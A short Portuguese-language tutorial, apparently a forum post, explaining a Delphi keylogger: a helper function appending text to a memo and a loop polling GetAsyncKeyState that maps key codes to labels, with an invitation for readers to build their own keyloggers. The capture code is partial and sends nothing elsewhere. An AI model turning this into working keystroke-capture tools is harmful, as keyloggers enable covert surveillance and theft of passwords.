Entendendo o funcionamento de um Keylogger

Ola,

Fiz esse tutorial para que todos entendam o código do keylogger e como ele funciona.
Vamos lá vou usar de exemplo o código mais conhecido que usa a função coloca.

Analisando a função do código:

function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;

Bem o que ela realmente faz é adicionar uma string txt no memo1.

Como usar

Adicione um memo e um timer e coloque a função em baixo de implementation.

No timer coloque:
(‘Esse teste é da função’);

O que ele vai fazer é chamar a função e ela vai adicionar o que está entre os ‘ ‘ no memo.

Entendendo o código de captura:



var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(‘ [BACKSPACE] ‘);
9: Coloca(‘ [TAB] ‘);
12: Coloca(‘ [ALT] ‘);
13: Coloca(‘ [ENTER] ‘);
16: Coloca(‘ [SHIFT] ‘);
17: Coloca(‘ [CONTROL] ‘);
18: Coloca(‘ [ALT] ‘);
20: Coloca(‘ [CAPS LOCK] ‘);
…

O que o código vai fazer é o keyloop vai pegar a variável e atribuir um valor a ela.
Cada tecla tem o seu valor Decimal ex: Valor Decimal da Tecla Tab é 9 , ele vai converter o valor decimal e vai atribuir o nome que foi colocado entre os ‘ ‘ .

Obs: Não esqueçam de colocar o timer com intervalo 1.

No fim do Tutorial fiz um txt onde contem vários valores decimais de teclas para que vocês podem estar ai criando os seus keyloggers e o código completo de captura.

É isso pessoal espero que tenham gostado e entendido como funciona o keylogger.